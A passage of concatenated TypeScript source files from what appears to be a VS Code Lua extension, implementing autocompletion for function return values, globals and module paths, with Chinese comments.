15 | super(name,kind,range,uri,containerName);
16 | this.uri_ = uri;
17 | this.range_ = range;
18 |
19 | }
20 |
21 |
22 | public initArgs(args:Array,comments: Array)
23 | {
24 | if(args != null )
25 | {
26 | this.argLuaFiledCompleteInfos = new Array();
27 | for (var i = 0; i < args.length; i++) {
28 | var element = args[i];
29 | var completion:LuaFiledCompletionInfo = new LuaFiledCompletionInfo(element,
30 | vscode.CompletionItemKind.Variable,this.uri_,this.range_.start,false)
31 | if(comments) {
32 | for (var index = 0; index < comments.length; index++) {
33 | var comment:LuaComment = comments[index];
34 |
35 | var argComment = "@"+element+":";
36 | var cindex:number = comment.content.indexOf(argComment)
37 | if(cindex > -1){
38 | completion.documentation = comment.content.substring(cindex+argComment.length).trim()
39 | break
40 | }
41 | }
42 | }
43 | this.argLuaFiledCompleteInfos.push(completion)
44 | }
45 |
46 | }
47 |
48 | }
49 | }
--------------------------------------------------------------------------------
/src/luatool/provider/LuaCompletionItemFunControler.ts:
--------------------------------------------------------------------------------
1 | import { LuaFiledCompletionInfo } from "../provider/LuaFiledCompletionInfo"
2 | import vscode = require('vscode');
3 | import { LuaParse } from "../LuaParse";
4 | import { FileCompletionItemManager } from "../manager/FileCompletionItemManager";
5 | import { LuaGolbalCompletionManager } from "../manager/LuaGolbalCompletionManager";
6 | import { LuaFileCompletionItems } from "../manager/LuaFileCompletionItems";
7 | import { CompletionItemKind } from "vscode";
8 | import { LuaInfoManager } from "../LuaInfoManager";
9 | import { LuaCompletionItemControler } from "./LuaCompletionItemControler";
10 | import { LuaCompletionItemProviderUtils } from "./LuaCompletionItemProviderUtils";
11 | export class LuaCompletionItemFunControler {
12 | private static _LuaCompletionItemFunControler: LuaCompletionItemFunControler;
13 | private luaInfoManager: LuaInfoManager;
14 | private luaCompletionItemControler: LuaCompletionItemControler;
15 | private luaCompletionItemProviderUtils: LuaCompletionItemProviderUtils;
16 | constructor(luaCompletionItemControler: LuaCompletionItemControler) {
17 | this.luaInfoManager = LuaParse.lp.luaInfoManager
18 | this.luaCompletionItemControler = luaCompletionItemControler;
19 | this.luaCompletionItemProviderUtils = LuaCompletionItemProviderUtils.getIns();
20 | }
21 | public static getIns(luaCompletionItemControler: LuaCompletionItemControler) {
22 | if (LuaCompletionItemFunControler._LuaCompletionItemFunControler == null) {
23 | LuaCompletionItemFunControler._LuaCompletionItemFunControler = new LuaCompletionItemFunControler(luaCompletionItemControler)
24 | }
25 | return LuaCompletionItemFunControler._LuaCompletionItemFunControler
26 | }
27 | /**
28 | * local data = model:getInfo()
29 | * 获取一个变量是一个方法的返回值
30 | */
31 | public getReferenceCompletionFunValue(item: LuaFiledCompletionInfo): Array {
32 | if (item.referenceCompletionFunKeys) {
33 | var requireReferenceItems: Array = new Array();
34 | item.referenceCompletionFunKeys.forEach((v, k) => {
35 | var keys: Array = new Array();
36 | for (var index = 0; index < v.length - 1; index++) {
37 | var key = v[index];
38 | keys.push(key)
39 | }
40 | var valueFunName: string = v[v.length - 1]
41 | var funNames: Array = this.luaCompletionItemControler.getFunNames(k)
42 | var citems: Array = new Array();
43 | if (keys.length > 0) {
44 |
45 |
46 | // if (funNames.length == 0 && funNames[0] == "__g__") {
47 | // //全局方法
48 |
49 | // } else {
50 | this.luaCompletionItemControler.getLuaCompletionsByKeysAndFunNames(item.uri, keys.reverse(), funNames, citems, false)
51 | // }
52 |
53 |
54 | if (valueFunName == "new") {
55 | if (citems.length > 0) {
56 | var newRootCompletionInfo = new LuaFiledCompletionInfo("", vscode.CompletionItemKind.Class, citems[0].uri, citems[0].position, false)
57 | citems.forEach(element => {
58 | newRootCompletionInfo.addItem(element)
59 | });
60 | requireReferenceItems.push(newRootCompletionInfo)
61 | }
62 |
63 |
64 | } else {
65 | citems.forEach(v1 => {
66 | if (v1.label == valueFunName) {
67 | // if(v1.kind == CompletionItemKind.Function){
68 | this.getFunctionReturnCompletionKeys(v1, requireReferenceItems)
69 | // }
70 | }
71 | })
72 | }
73 | } else {
74 | var funItem = this.getFunByfunName(valueFunName,item,funNames)
75 | if(funItem != null){
76 | this.getFunctionReturnCompletionKeys(funItem, requireReferenceItems)
77 | }
78 | }
79 |
80 |
81 |
82 | })
83 |
84 | return requireReferenceItems
85 |
86 |
87 | }
88 | return null
89 |
90 | }
91 | public getFunctionReturnCompletionGolbalByKey(key: string, item: LuaFiledCompletionInfo) {
92 | //现在本文件中找 如果本文件中没有找到那么就全局找
93 | var fcim: FileCompletionItemManager = this.luaInfoManager.getFcimByPathStr(item.uri.path)
94 | if (fcim == null) return
95 | //如果找到多个 那么就直接忽略
96 |
97 | }
98 |
99 | /**
100 | * 获取方法的返回值
101 | */
102 | public getFunctionReturnCompletionKeys(item: LuaFiledCompletionInfo, items: Array): Array {
103 | if (item.funAnnotationReturnValue) {
104 | var fitems: Array = this.luaCompletionItemProviderUtils.getCompletionByModulePath(item.funAnnotationReturnValue)
105 | this.luaCompletionItemProviderUtils.mergeItems(items, fitems)
106 | }
107 | else if (item.functionReturnCompletionKeys) {
108 | var citems: Array = new Array();
109 | item.functionReturnCompletionKeys.forEach((v, k) => {
110 | var funNames: Array = this.luaCompletionItemControler.getFunNames(k)
111 | var keys: Array = new Array()
112 | if (v.length == 1) {
113 | keys.push(v[0])
114 | } else {
115 | for (var index = 0; index < v.length - 1; index++) {
116 | keys.push(v[index])
117 | }
118 | }
119 |
120 | var keyName = v[v.length - 1]
121 | // keys.push(".")
122 | this.luaCompletionItemControler.getLuaCompletionsByKeysAndFunNames(item.uri, keys.reverse(), funNames, citems, false)
123 | citems.forEach(element => {
124 | if (element.label == keyName) {
125 |
126 | var reItems = this.luaCompletionItemControler.checkReferenceValue(element)
127 | this.luaCompletionItemProviderUtils.mergeItems(items, reItems)
128 | items.push(element)
129 | }
130 |
131 | });
132 |
133 | })
134 |
135 | }
136 | return items
137 | }
138 |
139 |
140 | public getFunByfunName(functionName: string, item: LuaFiledCompletionInfo, functionNames: Array):LuaFiledCompletionInfo {
141 | var fcim: FileCompletionItemManager = this.luaInfoManager.getFcimByPathStr(item.uri.path)
142 | if (fcim == null) return
143 | functionNames = functionNames.reverse();
144 | for (var index = 0; index < functionNames.length; index++) {
145 | var fname = functionNames[index];
146 | var fitem = fcim.luaFunFiledCompletions.get(fname)
147 | if(fitem != null){
148 | var targetItem =fitem.getItemByKey(functionName)
149 | if(targetItem != null){
150 | return targetItem
151 | }
152 |
153 | }
154 | }
155 |
156 | //全局查找
157 | this.luaInfoManager.fileCompletionItemManagers.forEach((v,k)=>{
158 | var targetItem = v.luaFunCompletionInfo.getItemByKey(functionName)
159 | if(targetItem != null){
160 | return targetItem
161 | }
162 | })
163 |
164 |
165 | }
166 |
167 | }
--------------------------------------------------------------------------------
/src/luatool/provider/LuaCompletionItemGolbalControler.ts:
--------------------------------------------------------------------------------
1 | import { LuaFiledCompletionInfo } from "../provider/LuaFiledCompletionInfo"
2 | import vscode = require('vscode');
3 | import { LuaParse } from "../LuaParse";
4 | import { FileCompletionItemManager } from "../manager/FileCompletionItemManager";
5 | import { LuaGolbalCompletionManager } from "../manager/LuaGolbalCompletionManager";
6 | import { LuaFileCompletionItems } from "../manager/LuaFileCompletionItems";
7 | import { CompletionItemKind } from "vscode";
8 | import { LuaInfoManager } from "../LuaInfoManager";
9 | export class LuaCompletionItemGolbalControler {
10 | private static _LuaCompletionItemGolbalControler: LuaCompletionItemGolbalControler;
11 | private luaInfoManager: LuaInfoManager;
12 | constructor() {
13 | this.luaInfoManager = LuaParse.lp.luaInfoManager
14 | }
15 | public static getIns() {
16 | if (LuaCompletionItemGolbalControler._LuaCompletionItemGolbalControler == null) {
17 | LuaCompletionItemGolbalControler._LuaCompletionItemGolbalControler = new LuaCompletionItemGolbalControler()
18 | }
19 | return LuaCompletionItemGolbalControler._LuaCompletionItemGolbalControler
20 | }
21 |
22 | public getItemByKeys(keys:Array){
23 | var items = this.getFirstItem(keys[0])
24 | for (var index = 2; index < keys.length; index++) {
25 | var key = keys[index];
26 | items = this.getFindItemByKey(items,key);
27 | if(items.length == 0){
28 | break;
29 | }
30 | index++;
31 | }
32 | return items
33 | }
34 | public getFindItemByKey(items:Array,key:string){
35 | var newitems:Array = new Array();
36 | for (var index = 0; index < items.length; index++) {
37 | var item = items[index];
38 | var fitem =item.getItemByKey(key)
39 | if(fitem){
40 | newitems.push(fitem)
41 | }
42 | }
43 | return newitems
44 | }
45 | public getFirstItem(key){
46 | var items:Array = new Array();
47 | this.luaInfoManager.fileCompletionItemManagers.forEach((v,k)=>{
48 | var item = v.luaGolbalCompletionInfo.getItemByKey(key)
49 | if(item != null && item.isNewVar == true){
50 | items.push(item)
51 | var funItem = v.luaFunCompletionInfo.getItemByKey(key,false)
52 | if(funItem != null){
53 | items.push(funItem)
54 | }
55 | }
56 |
57 | })
58 | return items;
59 | }
60 |
61 |
62 | }
--------------------------------------------------------------------------------
/src/luatool/provider/LuaCompletionItemProviderUtils.ts:
--------------------------------------------------------------------------------
1 | import { LuaFiledCompletionInfo } from "./LuaFiledCompletionInfo";
2 | import { LuaFileCompletionItems } from "../manager/LuaFileCompletionItems"
3 | import vscode = require('vscode');
4 | import { FileCompletionItemManager } from "../manager/FileCompletionItemManager";
5 | import { LuaParse } from "../LuaParse";
6 | export class LuaCompletionItemProviderUtils {
7 | public static _LuaCompletionItemProviderUtils:LuaCompletionItemProviderUtils;
8 | public static getIns(){
9 | if(LuaCompletionItemProviderUtils._LuaCompletionItemProviderUtils == null){
10 | LuaCompletionItemProviderUtils._LuaCompletionItemProviderUtils = new LuaCompletionItemProviderUtils();
11 | }
12 | return LuaCompletionItemProviderUtils._LuaCompletionItemProviderUtils
13 | }
14 | private luaFileCompletionItems: LuaFileCompletionItems;
15 | constructor(){
16 | this.luaFileCompletionItems = LuaFileCompletionItems.getLuaFileCompletionItems()
17 |
18 | }
19 | /**
20 | * 根据路径获取completions
21 | */
22 | public getCompletionByModulePath(modulePath: string): Array {
23 | var ritems: Array = new Array();
24 |
25 | var uri: vscode.Uri = this.luaFileCompletionItems.getUriCompletionByModuleName(modulePath)
26 | if (uri) {
27 | var referenceCompletionManager: FileCompletionItemManager = LuaParse.lp.luaInfoManager.getFcimByPathStr(uri.path)
28 | var items: Array = new Array();
29 | if (referenceCompletionManager.rootCompletionInfo != null) items.push(referenceCompletionManager.rootCompletionInfo)
30 | if (referenceCompletionManager.rootFunCompletionInfo != null) items.push(referenceCompletionManager.rootFunCompletionInfo)
31 | return items
32 |
33 | }else{
34 | var moduleInfos = modulePath.split('.');
35 | if(moduleInfos.length > 0){
36 | return this.getItemsByModuleName(moduleInfos[0])
37 | }
38 |
39 | }
40 | return null
41 | }
42 | public getItemsByModuleName(moduleName){
43 | var reItems:Array = new Array();
44 | var lfcis: LuaFileCompletionItems = LuaFileCompletionItems.getLuaFileCompletionItems()
45 | var paths: Array = lfcis.getUrisByModuleName(moduleName)
46 | if (paths) {
47 | for (var index = 0; index < paths.length; index++) {
48 | var fcim: FileCompletionItemManager = LuaParse.lp.luaInfoManager.getFcimByPathStr(paths[index])
49 | if(fcim.rootCompletionInfo){
50 | reItems.push(fcim.rootCompletionInfo)
51 | }else{
52 | var item :LuaFiledCompletionInfo = fcim.luaGolbalCompletionInfo.getItemByKey(moduleName,true)
53 | if(item){
54 | reItems.push(item)
55 | }else{
56 | LuaParse.lp.luaInfoManager.fileCompletionItemManagers.forEach((v,k)=>{
57 | var gitem = v.luaGolbalCompletionInfo.getItemByKey(moduleName,true)
58 | if(gitem){
59 | if(reItems.indexOf(gitem) == -1){
60 | reItems.push(gitem)
61 | }
62 | }
63 |
64 | })
65 | }
66 |
67 | }
68 | if(fcim.rootFunCompletionInfo){
69 | reItems.push(fcim.rootFunCompletionInfo)
70 | }else{
71 | LuaParse.lp.luaInfoManager.fileCompletionItemManagers.forEach((v,k)=>{
72 | var gitem = v.luaFunCompletionInfo.getItemByKey(moduleName,true)
73 | if(gitem){
74 | if(reItems.indexOf(gitem) == -1){
75 | reItems.push(gitem)
76 | }
77 | }
78 |
79 | })
80 | }
81 |
82 |
83 | }
84 | }
85 | return reItems;
86 |
87 | }
88 | public getParentItems(completion:LuaFiledCompletionInfo,parentCompletion:Array